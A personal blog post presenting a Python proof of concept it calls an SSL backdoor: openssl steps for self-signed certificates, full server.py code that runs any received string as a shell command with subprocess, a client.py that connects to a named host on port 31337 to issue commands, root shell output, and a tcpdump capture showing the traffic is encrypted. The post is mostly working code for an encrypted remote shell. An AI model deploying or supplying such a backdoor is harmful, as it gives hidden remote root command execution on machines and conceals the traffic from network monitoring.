Python SSL CLI Backdoor Client Server program with encrypted reverse shell command line

Python SSL CLI backdoor
The topic sounds proud however its just a simple implementation of SSL in client and server program architecture. I would not call that an arch neither.

Once upon a time on a lovely October evening 2013 I decided to investigate an idea which popped up in my head.

I asked myself...

So what if I use python and write a client / server program which will require SSL certificate and a key passphrase for authentication and also provide encrypted communication channel.

Yeah, at this point I started putting some pieces of code together and then... NARF!

Why not to add a SSL encrypted shell prompt ?! :D Hence why I called it a backdoor and not for any other reason...

So here we are...

1. Client Side SSL

If you want to use my piece of code for testing you need first to create an CA and issue a client certificate.

To continue getting to the PoC you will use self-signed certificates.

Create a Certificate Authority root

openssl genrsa -des3 -out ca.key 4096  
openssl req -new -x509 -days 365 -key ca.key -out ca.crt  

Create the Client Key and CSR

openssl genrsa -des3 -out client.key 4096  
openssl req -new -key client.key -out client.csr  
# self-signed
openssl x509 -req -days 365 -in client.csr -CA ca.crt \  
-CAkey ca.key -set_serial 01 -out client.crt

Convert Client Key to PKCS

It may be installed in most browsers.

openssl pkcs12 -export -clcerts -in client.crt \  
-inkey client.key -out client.p12

Convert Client Key to (combined) PEM

Combines client.crt and client.key into a single PEM file for programs using OpenSSL.

openssl pkcs12 -in client.p12 -out client.pem -clcerts  


Right. Ok. So now I have the SSL portion sorted. Let's test a PoC.

2. Proof of Concept

This is the server.py code

#!/usr/bin/env python

import SocketServer  
import json  
from OpenSSL import SSL  
import os  
import socket  
import subprocess  
import sys

def pipe_command(arg_list, standard_input=False):  
    pipe = subprocess.PIPE if standard_input else None
    subp = subprocess.Popen(arg_list, shell=True, stdin=pipe, stdout=subprocess.PIPE)
    if not standard_input:
        return subp.communicate()[0]
    return subp.communicate(standard_input)[0]

class SSLThreadingTCPServer(SocketServer.ThreadingTCPServer):  
    def __init__(self, address, handler):
        SocketServer.ThreadingTCPServer.__init__(self, address, handler, bind_and_activate=False)
        ctx = SSL.Context(SSL.SSLv23_METHOD)
        ctx.use_privatekey_file('client.key')
        ctx.use_certificate_file('client.pem')
        self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
        self.server_bind()
        self.server_activate()
        print "Serving:", address[0], "on port:", address[1]

class Decoder(SocketServer.StreamRequestHandler):  
    def setup(self):
        self.connection = self.request
        self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
        self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)

    def handle(self):
         while True:
             socket1 = self.connection
             str1 = socket1.recv(16804)
             reply = pipe_command(str1)
             if reply is not None:
                 socket1.sendall(reply)

def main():  
    s = SSLThreadingTCPServer(('192.168.200.107', 31337), Decoder)
    try:
        s.serve_forever()
    except KeyboardInterrupt:
        sys.exit(0)

if __name__ == '__main__':  
    main()

This is the client.py code

#!/usr/bin/env python

from OpenSSL import SSL  
import socket  
import os  
import sys

HOST = 'nfsec.co.uk'  
PORT = 31337  
ADDRESS = (HOST, PORT)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
ctx = SSL.Context(SSL.SSLv23_METHOD)  
ctx.use_certificate_file('client.pem')  
sslSock = SSL.Connection(ctx, sock)  
sslSock.connect(ADDRESS)  
def main():  
        try:
            cmd = raw_input('$ ')
            sslSock.sendall(cmd)
            data = sslSock.recv(66384)
            print data
        except KeyboardInterrupt:
            sslSock.close()
            sys.exit(0)

while True:  
    main()

Results

In result on the server you get

[root@nfsec ~]# python server.py
Enter PEM pass phrase:  
Serving: 192.168.200.107 on port: 31337  

In result on the client you get

[root@hq.nfsec ~]# python client.py
$ uname -a
Linux nfsec.co.uk 3.10.0-XXX bla bla

$ whoami
root  

TCPDUMP shows encrypted communication

[root@nfsec ~]# tcpdump -i ens192 dst 192.168.200.107 and -s 1024 -A tcp port 31337
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode  
listening on ens192, link-type EN10MB (Ethernet), capture size 1024 bytes  
23:54:53.024601 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [S],  
seq 2690615083, win 64240,options [mss 1260,nop,wscale 0,nop,nop,sackOK], length 0  
E..4*.@.....>.~....k..zi._.+........................  
23:54:53.042655 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [.],  
ack 3152217485, win 64240, length 0  
E..(*.@.....>.~....k..zi._.,....P...<.........  
23:55:10.331534 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [P.],  
seq 0:247, ack 1, win 64240, length 247 E...+.@.....>.~....k..zi._.,....P....J  
............V....@b...i....W.t&R..Z...ya
..Z@....0.,.(.$........<./...A.....2...*
.&.......=5....+.'.#........g.@.3.2.....
....E.D.....1.-.).%.....................
..A.....................................
..........
23:55:10.351510 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [.],  
ack 1428, win 64240, length 0  
E..(+.@.....>.~....k..zi._.#... P...6'........  
23:55:10.353756 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [P.],  
seq 247:821, ack 1428, win 64240, length 574  
E..f+.@.....>.~....k..zi._.#...P..."....  
..........E...i.....bS.V5I....$q7"5|@...f.\.y.A
.z:...........n..}.J....p...;......{....c. [.V.
.....N..EpB..y.......d.f)_Ou.jg.K.3.."....w~#..
...<.&."1..1..#.z~.g.z.........^tC(z0..XT.....i
X....u=...@..0....".....r..j..........iD.@.....  
......P....}...6._...l........O@"..3..a:.'....\
t..mY^.....A.&EI..FG.t.#...j.....l.'g..........  
d..}....X.V'..c...nw....a..@..bk.'/.....  
23:55:10.406977 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [P.],  
seq 821:858, ack 1654, win 64014, length 37  
E..M+.@.....>.~....k..zi._.a....P...C....... d..}.....(.M....A.x....kv...S..2  
23:55:10.629527 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [.],  
ack 1794, win 63874, length 0  
E..(+.@.....>.~....k..zi._......P...3.........  
23:55:18.828699 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [P.],  
seq 858:893, ack 1794, win 63874, length 35  
E..K+.@.....>.~....k..zi._......P............d..}........q.T].l..y.6.d.S...  
23:55:19.048508 IP SOURCE_IP.52689 > nfsec.co.uk.31337: Flags [.],  
ack 1828, win 63840, length 0  
E..(+.@.....>.~....k..zi._......P..`3.........  

Share this post:

by lo3k